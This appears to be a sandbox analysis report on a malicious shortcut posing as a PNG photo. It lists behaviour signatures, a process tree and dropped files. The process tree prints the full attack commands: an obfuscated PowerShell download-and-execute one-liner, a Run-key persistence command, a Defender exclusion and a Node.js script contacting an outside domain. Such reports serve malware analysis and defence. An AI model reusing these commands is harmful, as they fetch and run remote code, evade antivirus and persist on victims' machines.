Analysis
- max time kernel
275s - max time network
290s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
27/06/2026, 09:20
General
- Target PHOTO-328122595.png.lnk
- Size 2KB
- Sample260627-laytesaw3j
- SHA256 701f6605c7cdfc3fbba457c1437fd32c5ef3143179396d7808449a0589e63f62
Malware Config
Extracted
-
ps1
-
exe.dropper
https://nodejs.org/dist/v24.13.0/node-v24.13.0-win-x64.zip
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 29 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-328122595.png.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$XzAJ2=[System.Numerics.BigInteger]\"196947788570525470125790362616899813526437644225834\";$K3HpiZ=[System.Numerics.BigInteger]\"48705654784127757118727378554666882679335222044600\";$rOMsgW=$XzAJ2 - $K3HpiZ;for($KIc60SY=100+156;$rOMsgW -ne 0;$rOMsgW=$rOMsgW / $KIc60SY){$ifNEssab=[int]($rOMsgW % $KIc60SY);$xYVirWrY+=[System.Char]$ifNEssab;};iwr $xYVirWrY -OutFile $env:TEMP\sJhBuX.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\sJhBuX.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\sJhBuX.ps13⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ztpiuuri\ztpiuuri.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2DAD.tmp" "c:\Users\Admin\AppData\Local\Temp\ztpiuuri\CSCD61BDEE01504489AAC0EFC98CE89A5.TMP"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\gKI7sMTdg.js reservphotoinstay.one4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\" }).Count"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"61fc5f6f-4bdc-47e7-a533-c6f920059411\").\"61fc5f6f-4bdc-47e7-a533-c6f920059411\""5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\gKI7sMTdg.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"61fc5f6f-4bdc-47e7-a533-c6f920059411\" -Value $command"5⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\Admin\AppData\Local\Temp\qh28GkMbWOZe9Y.exe\""5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\qh28GkMbWOZe9Y.exeC:\Users\Admin\AppData\Local\Temp\qh28GkMbWOZe9Y.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-I0SEUFALFH.tmp\qh28GkMbWOZe9Y.tmp"C:\Users\Admin\AppData\Local\Temp\is-I0SEUFALFH.tmp\qh28GkMbWOZe9Y.tmp" /SL5="$170084,3262147,1201664,C:\Users\Admin\AppData\Local\Temp\qh28GkMbWOZe9Y.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\gKI7sMTdg.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exeC:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\gKI7sMTdg.js2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v24.13.0-win-x64\node.exe\" }).Count"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
gKI7sMTdg.js
text.js
text.js
license
package.json
package.json
LICENSE.md
LICENSE
LICENSE
fetch.js
LICENSE
LICENSE-MIT.txt
license
LICENSE
LICENSE
LICENSE
index.js
package.json
glob.d.ts.map
has-magic.d.ts
has-magic.d.ts.map
ignore.d.ts
ignore.d.ts.map
index.d.ts
index.d.ts.map
pattern.d.ts
pattern.d.ts.map
processor.d.ts
processor.d.ts.map
walker.d.ts
walker.d.ts.map
LICENSE
assert-valid-pattern.js
ast.js
brace-expressions.js
escape.js
unescape.js
assert-valid-pattern.js
ast.js
brace-expressions.js
escape.js
unescape.js
LICENSE
LICENSE
LICENSE.md
LICENSE
LICENSE
AUTHORS
LICENSE
index.js
parse.js
RES2DAD.tmp
__PSScriptPolicyTest_xv0l53ti.o2a.ps1
_isdecmp.dll
qh28GkMbWOZe9Y.tmp
sJhBuX.ps1
ztpiuuri.dll
CSCD61BDEE01504489AAC0EFC98CE89A5.TMP
ztpiuuri.0.cs
ztpiuuri.cmdline
memory/2088-9-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-10-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-12-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-13-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-15-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-18-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-5-0x000002982B100000-0x000002982B122000-memory.dmp
memory/2088-34-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-35-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-36-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-6-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-7-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-11-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-2-0x00007FFAD7BAF000-0x00007FFAD7BB0000-memory.dmp
memory/2088-4403-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/2088-8-0x00007FFAD7A20000-0x00007FFAD83C4000-memory.dmp
memory/3376-4440-0x00000000001A0000-0x00000000002D4000-memory.dmp
memory/3376-4451-0x00000000001A0000-0x00000000002D4000-memory.dmp
memory/4080-4452-0x0000000000490000-0x0000000000922000-memory.dmp
memory/4080-4454-0x0000000000490000-0x0000000000922000-memory.dmp
memory/5804-47-0x000001F053370000-0x000001F05337A000-memory.dmp
memory/5804-44-0x000001F053390000-0x000001F053442000-memory.dmp
memory/5804-43-0x000001F053370000-0x000001F05338E000-memory.dmp
memory/5804-32-0x000001F052D10000-0x000001F052D18000-memory.dmp
memory/5804-45-0x000001F053450000-0x000001F05345A000-memory.dmp
memory/5804-46-0x000001F053450000-0x000001F053462000-memory.dmp